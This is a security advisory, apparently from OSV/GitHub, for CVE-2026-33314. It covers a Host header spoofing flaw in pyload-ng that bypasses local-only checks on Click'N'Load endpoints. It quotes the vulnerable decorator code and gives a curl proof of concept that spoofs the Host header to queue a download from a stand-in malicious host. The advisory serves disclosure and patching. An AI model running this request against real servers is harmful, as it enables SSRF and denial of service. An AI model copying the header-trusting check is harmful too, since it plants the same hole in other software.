GHSA-q485-cg9q-xq2r
Suggest an improvement- Source
- https://github.com/advisories/GHSA-q485-cg9q-xq2r
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-q485-cg9q-xq2r/GHSA-q485-cg9q-xq2r.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-q485-cg9q-xq2r
- Aliases
-
- CVE-2026-33314
- PYSEC-2026-122
- Published
- 2026-03-19T17:55:53Z
- Modified
- 2026-06-08T19:15:12Z
- Severity
-
- 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L CVSS Calculator
- Summary
- Improper Authentication and Origin Validation Error in pyload-ng
- Details
-
Summary
A Host Header Spoofing vulnerability in the
@local_checkdecorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).Details
The
pyloadWebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests tolocalhost:9666). To enforce this, thepyloadapplication uses a@local_checkdecorator on the relevant routes insrc/pyload/webui/app/blueprints/cnl_blueprint.py.However, the
@local_checkimplementation relies on the user-controlledHTTP_HOST(derived from the HTTPHostheader) to verify the origin:# src/pyload/webui/app/blueprints/cnl_blueprint.py def local_check(func): @wraps(func) def wrapper(*args, **kwargs): remote_addr = flask.request.environ.get("REMOTE_ADDR", "0") http_host = flask.request.environ.get("HTTP_HOST", "0") if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in ( "127.0.0.1:9666", "[::1]:9666", ): return func(*args, **kwargs) else: return "Forbidden", 403 return wrapperBecause
http_hostis read directly from theHostheader of the HTTP request, an external attacker can easily spoof this header (e.g.,Host: 127.0.0.1:9666). When this spoofed header is present, the conditionhttp_host in ("127.0.0.1:9666", ...)evaluates toTrue, completely bypassing the IP address check (remote_addr) and granting access to the protected functions.The affected routes are:
/flash/and/flash/<id>/flash/add/flash/addcrypted/flash/addcrypted2/flashgotand/flashgot_pyload/flash/checkSupportForUrl
PoC
- Ensure the PyLoad instance is running and accessible externally.
- Ensure the
ClickNLoadplugin is enabled in the PyLoad settings (it evaluates to disabled by default). - Send a POST request to one of the protected endpoints, such as
/flash/add, and spoof theHostheader to127.0.0.1:9666.
Example
curlcommand:curl -i -X POST "http://<pyload-external-ip>:<port>/flash/add" \ -H "Host: 127.0.0.1:9666" \ -d "urls=http://malicious.com/payload.bin" \ -d "package=MaliciousPackage"- Notice that you receive a
success\r\nresponse instead of a403 Forbidden. The package and URL will be successfully added to the PyLoad queue.
Impact
This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).
- Database specific
{ "cwe_ids": [ "CWE-287", "CWE-346" ], "github_reviewed": true, "github_reviewed_at": "2026-03-19T17:55:53Z", "nvd_published_at": "2026-03-24T20:16:27Z", "severity": "MODERATE" }- References
Affected packages
PyPI / pyload-ng
Package
- Name
- pyload-ng
- View open source insights on deps.dev
- Purl
- pkg:pypi/pyload-ng
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0 Unknown introduced version / All previous versions are affectedFixed0.5.0b3.dev97